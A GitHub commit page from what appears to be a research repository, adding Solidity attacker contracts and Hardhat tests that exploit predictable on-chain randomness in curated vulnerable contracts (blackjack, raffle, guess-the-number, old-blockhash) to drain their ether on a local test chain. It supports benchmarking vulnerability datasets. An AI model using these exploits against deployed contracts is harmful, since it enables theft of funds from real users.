-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #10 from ASSERT-KTH/9-sb-curated-bad-randomness
Add tests simulating sb-curated bad randomness attacks
- Loading branch information
Showing
10 changed files
with
379 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
51 changes: 51 additions & 0 deletions
51
smartbugs-curated/0.4.x/contracts/bad_randomness/blackjack_attack.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
pragma solidity ^0.4.9; | ||
|
||
import "../dataset/bad_randomness/blackjack.sol"; | ||
|
||
contract BlackJackAttacker { | ||
|
||
BlackJack blackjack; | ||
|
||
function BlackJackAttacker(address _target) { | ||
blackjack = BlackJack(_target); | ||
} | ||
|
||
// using Deck for *; | ||
|
||
function() external payable { | ||
} | ||
|
||
function _calculateScore(uint8[] memory cards) internal view returns (uint8, uint8) { | ||
uint8 score = 0; | ||
uint8 scoreBig = 0; // in case of Ace there could be 2 different scores | ||
bool bigAceUsed = false; | ||
for (uint256 i = 0; i < cards.length; ++i) { | ||
uint8 card = cards[i]; | ||
if (Deck.isAce(card) && !bigAceUsed) { | ||
// doesn't make sense to use the second Ace as 11, because it leads to the losing | ||
scoreBig += Deck.valueOf(card, true); | ||
bigAceUsed = true; | ||
} else { | ||
scoreBig += Deck.valueOf(card, false); | ||
} | ||
score += Deck.valueOf(card, false); | ||
} | ||
return (score, scoreBig); | ||
} | ||
|
||
function play() public payable { | ||
|
||
uint8[] memory playerCards = new uint8[](2); | ||
playerCards[0] = Deck.deal(address(this), 0); | ||
playerCards[1] = Deck.deal(address(this), 2); | ||
|
||
(uint8 score, uint8 scoreBig) = _calculateScore(playerCards); | ||
|
||
if (scoreBig == 21 || score == 21) { | ||
blackjack.deal.value(5 ether)(); | ||
} else { | ||
msg.sender.transfer(msg.value); | ||
} | ||
} | ||
|
||
} |
47 changes: 47 additions & 0 deletions
47
smartbugs-curated/0.4.x/contracts/bad_randomness/etheraffle_attack.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,47 @@ | ||
pragma solidity ^0.4.16; | ||
|
||
import "../dataset/bad_randomness/etheraffle.sol"; | ||
contract Ethraffle_v4bAttacker { | ||
Ethraffle_v4b target; | ||
uint constant totalTickets = 50; | ||
mapping (uint => address) contestants; | ||
|
||
function Ethraffle_v4bAttacker(address _target) public { | ||
target = Ethraffle_v4b(_target); | ||
} | ||
|
||
function setContestant(uint number, address contestant) public { | ||
contestants[number] = contestant; | ||
} | ||
|
||
function setContestants(address contestant) public { | ||
for (uint i = 0; i < totalTickets - 1; i++) { | ||
contestants[i] = contestant; | ||
} | ||
} | ||
|
||
function chooseWinner() public returns (uint) { | ||
|
||
// console.log("coinbase", block.coinbase); | ||
// console.log("difficulty: %d", block.difficulty); | ||
|
||
address seed1 = contestants[uint(block.coinbase) % totalTickets]; | ||
address seed2 = contestants[uint(address(this)) % totalTickets]; | ||
uint seed3 = block.difficulty; | ||
bytes32 randHash = keccak256(seed1, seed2, seed3); | ||
uint winningNumber = uint(randHash) % totalTickets; | ||
return winningNumber; | ||
} | ||
|
||
function attack() public payable returns (bool) { | ||
uint winningNumber = chooseWinner(); | ||
if (winningNumber == totalTickets - 1) { | ||
target.buyTickets.value(0.0506 ether)(); | ||
return true; | ||
} | ||
return false; | ||
} | ||
|
||
function() public payable { | ||
} | ||
} |
9 changes: 9 additions & 0 deletions
9
smartbugs-curated/0.4.x/contracts/bad_randomness/exploits.csv
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
file path, exploitable and exposed | ||
bad_randomness/blackjack.sol,True | ||
bad_randomness/etheraffle.sol,True | ||
bad_randomness/guess_the_random_number.sol,True | ||
bad_randomness/lottery.sol,False | ||
bad_randomness/lucky_doubler.sol,False | ||
bad_randomness/old_blockhash.sol,True | ||
bad_randomness/random_number_generator.sol,False | ||
bad_randomness/smart_billions.sol,TODO |
21 changes: 21 additions & 0 deletions
21
smartbugs-curated/0.4.x/contracts/bad_randomness/guess_the_random_number_attack.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,21 @@ | ||
pragma solidity ^0.4.21; | ||
|
||
import "../dataset/bad_randomness/guess_the_random_number.sol"; | ||
|
||
contract GuessTheRandomNumberChallengeAttacker { | ||
|
||
GuessTheRandomNumberChallenge target; | ||
|
||
function GuessTheRandomNumberChallengeAttacker(address _target) public payable { | ||
target = GuessTheRandomNumberChallenge(_target); | ||
} | ||
|
||
function attack(uint block_number, uint256 block_timestamp) public payable { | ||
uint8 answer = uint8(keccak256(block.blockhash(block_number-1), block_timestamp)); | ||
target.guess.value(1 ether)(answer); | ||
} | ||
|
||
function() public payable { | ||
} | ||
|
||
} |
24 changes: 24 additions & 0 deletions
24
smartbugs-curated/0.4.x/contracts/bad_randomness/old_blockhash_attack.sol
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
pragma solidity ^0.4.24; | ||
|
||
import "../dataset/bad_randomness/old_blockhash.sol"; | ||
|
||
contract PredictTheBlockHashChallengeAttacker { | ||
|
||
PredictTheBlockHashChallenge target; | ||
|
||
function PredictTheBlockHashChallengeAttacker(address _target) public { | ||
target = PredictTheBlockHashChallenge(_target); | ||
} | ||
|
||
function attack() public payable { | ||
target.lockInGuess.value(1 ether)(0); | ||
} | ||
|
||
function retrieve() public { | ||
target.settle(); | ||
} | ||
|
||
function() public payable { | ||
} | ||
|
||
} |
70 changes: 70 additions & 0 deletions
70
smartbugs-curated/0.4.x/test/bad_randomness/blackjack_test.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,70 @@ | ||
const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); | ||
const { expect } = require('chai'); | ||
let victimAmount, attackerAmount; | ||
|
||
describe('attack bad_randomness/blackjack.sol', function () { | ||
async function deployContracts() { | ||
const [v, a] = await ethers.getSigners(); | ||
|
||
const BlackJack = await ethers.getContractFactory('contracts/dataset/bad_randomness/blackjack.sol:BlackJack'); | ||
const victim = await BlackJack.deploy(); | ||
await victim.waitForDeployment(); | ||
|
||
victimAmount = ethers.parseEther('10'); | ||
|
||
await v.sendTransaction({ | ||
to: victim.target, | ||
value: victimAmount | ||
}); | ||
|
||
|
||
const BlackJackAttacker = await ethers.getContractFactory('contracts/bad_randomness/blackjack_attack.sol:BlackJackAttacker'); | ||
const attacker = await BlackJackAttacker.deploy(victim.target); | ||
await attacker.waitForDeployment(); | ||
|
||
attackerAmount = ethers.parseEther('5'); | ||
await a.sendTransaction({ | ||
to: attacker.target, | ||
value: attackerAmount | ||
}); | ||
|
||
return {victim, attacker}; | ||
} | ||
|
||
|
||
it('exploit bad randomness vulnerability', async function () { | ||
const sleep = (delay) => new Promise((resolve) => setTimeout(resolve, delay)) | ||
|
||
const {victim, attacker} = await loadFixture(deployContracts); | ||
|
||
const victimBalanceBefore = await ethers.provider.getBalance(victim.target); | ||
expect(victimBalanceBefore).to.equal(victimAmount); | ||
|
||
const attackerBalanceBefore = await ethers.provider.getBalance(attacker.target); | ||
expect(attackerBalanceBefore).to.equal(attackerAmount); | ||
|
||
let currentBalance = await ethers.provider.getBalance(victim.target); | ||
while (currentBalance > 0) { | ||
try { | ||
await attacker.play(); | ||
|
||
currentBalance = await ethers.provider.getBalance(victim.target); | ||
|
||
if (currentBalance == 0) { | ||
break; | ||
} | ||
} catch (error) { | ||
// console.error("Error during play():", error); | ||
break; | ||
} | ||
|
||
await sleep(1); | ||
} | ||
|
||
const victimBalanceAfter = await ethers.provider.getBalance(victim.target); | ||
|
||
const attackerBalanceAfter = await ethers.provider.getBalance(attacker.target); | ||
expect(attackerBalanceAfter).to.gt(victimBalanceAfter); | ||
|
||
}); | ||
}); |
53 changes: 53 additions & 0 deletions
53
smartbugs-curated/0.4.x/test/bad_randomness/etheraffle_test.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,53 @@ | ||
const { loadFixture, mine } = require('@nomicfoundation/hardhat-network-helpers'); | ||
const { expect } = require('chai'); | ||
|
||
describe('attack bad_randomness/etheraffle.sol', function () { | ||
async function deployContracts() { | ||
|
||
const Ethraffle_v4b = await ethers.getContractFactory('contracts/dataset/bad_randomness/etheraffle.sol:Ethraffle_v4b'); | ||
const victim = await Ethraffle_v4b.deploy(); | ||
await victim.waitForDeployment(); | ||
|
||
|
||
const Ethraffle_v4bAttacker = await ethers.getContractFactory('contracts/bad_randomness/etheraffle_attack.sol:Ethraffle_v4bAttacker'); | ||
const attacker = await Ethraffle_v4bAttacker.deploy(victim.target); | ||
await attacker.waitForDeployment(); | ||
|
||
return {victim, attacker}; | ||
} | ||
|
||
|
||
it('exploit bad randomness vulnerability', async function () { | ||
const {victim, attacker} = await loadFixture(deployContracts); | ||
|
||
const victimBalanceBefore = await ethers.provider.getBalance(victim.target); | ||
expect(victimBalanceBefore).to.equal(0); | ||
|
||
const attackerBalanceBefore = await ethers.provider.getBalance(attacker.target); | ||
expect(attackerBalanceBefore).to.equal(0); | ||
|
||
const [v, a] = await ethers.getSigners(); | ||
const amount = ethers.parseEther('2.48'); | ||
await v.sendTransaction({ | ||
to: victim.target, | ||
value: amount | ||
}); | ||
|
||
await attacker.setContestants(v.address); | ||
|
||
const attackerAmount = ethers.parseEther('0.0506'); | ||
await a.sendTransaction({ | ||
to: attacker.target, | ||
value: attackerAmount | ||
}); | ||
|
||
let attackerBalanceAfter = 0; | ||
|
||
while(attackerBalanceAfter <= attackerAmount) { | ||
await attacker.attack(); | ||
attackerBalanceAfter = await ethers.provider.getBalance(attacker.target); | ||
} | ||
|
||
expect(attackerBalanceAfter).to.be.equal(ethers.parseEther('2.5')); | ||
}); | ||
}); |
51 changes: 51 additions & 0 deletions
51
smartbugs-curated/0.4.x/test/bad_randomness/guess_the_random_number_test.js
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); | ||
const { expect } = require('chai'); | ||
let amount; | ||
|
||
describe('attack bad_randomness/guess_the_random_number.sol', function () { | ||
async function deployContracts() { | ||
const [v, a] = await ethers.getSigners(); | ||
amount = ethers.parseEther('1'); | ||
|
||
const options = { | ||
from: v, | ||
value: amount}; | ||
const GuessTheRandomNumberChallenge = await ethers.getContractFactory('contracts/dataset/bad_randomness/guess_the_random_number.sol:GuessTheRandomNumberChallenge'); | ||
const victim = await GuessTheRandomNumberChallenge.deploy(options); | ||
|
||
const tx = await victim.deploymentTransaction().wait(); | ||
const block = await ethers.provider.getBlock(tx.blockNumber); | ||
|
||
|
||
const GuessTheRandomNumberChallengeAttacker = await ethers.getContractFactory('contracts/bad_randomness/guess_the_random_number_attack.sol:GuessTheRandomNumberChallengeAttacker'); | ||
const attacker = await GuessTheRandomNumberChallengeAttacker.deploy(victim.target); | ||
await attacker.waitForDeployment(); | ||
|
||
await a.sendTransaction({ | ||
to: attacker.target, | ||
value: amount | ||
}); | ||
|
||
return {block, victim, attacker}; | ||
} | ||
|
||
|
||
it('exploit bad randomness vulnerability', async function () { | ||
const {block, victim, attacker} = await loadFixture(deployContracts); | ||
|
||
const victimBalanceBefore = await ethers.provider.getBalance(victim.target); | ||
expect(victimBalanceBefore).to.equal(amount); | ||
|
||
const attackerBalanceBefore = await ethers.provider.getBalance(attacker.target); | ||
expect(attackerBalanceBefore).to.equal(amount); | ||
|
||
await attacker.attack(block.number, block.timestamp); | ||
|
||
const victimBalanceAfter = await ethers.provider.getBalance(victim.target); | ||
expect(victimBalanceAfter).to.equal(0); | ||
|
||
const attackerBalanceAfter = await ethers.provider.getBalance(attacker.target); | ||
expect(attackerBalanceAfter).to.equal(amount + amount); | ||
|
||
}); | ||
}); |
Oops, something went wrong.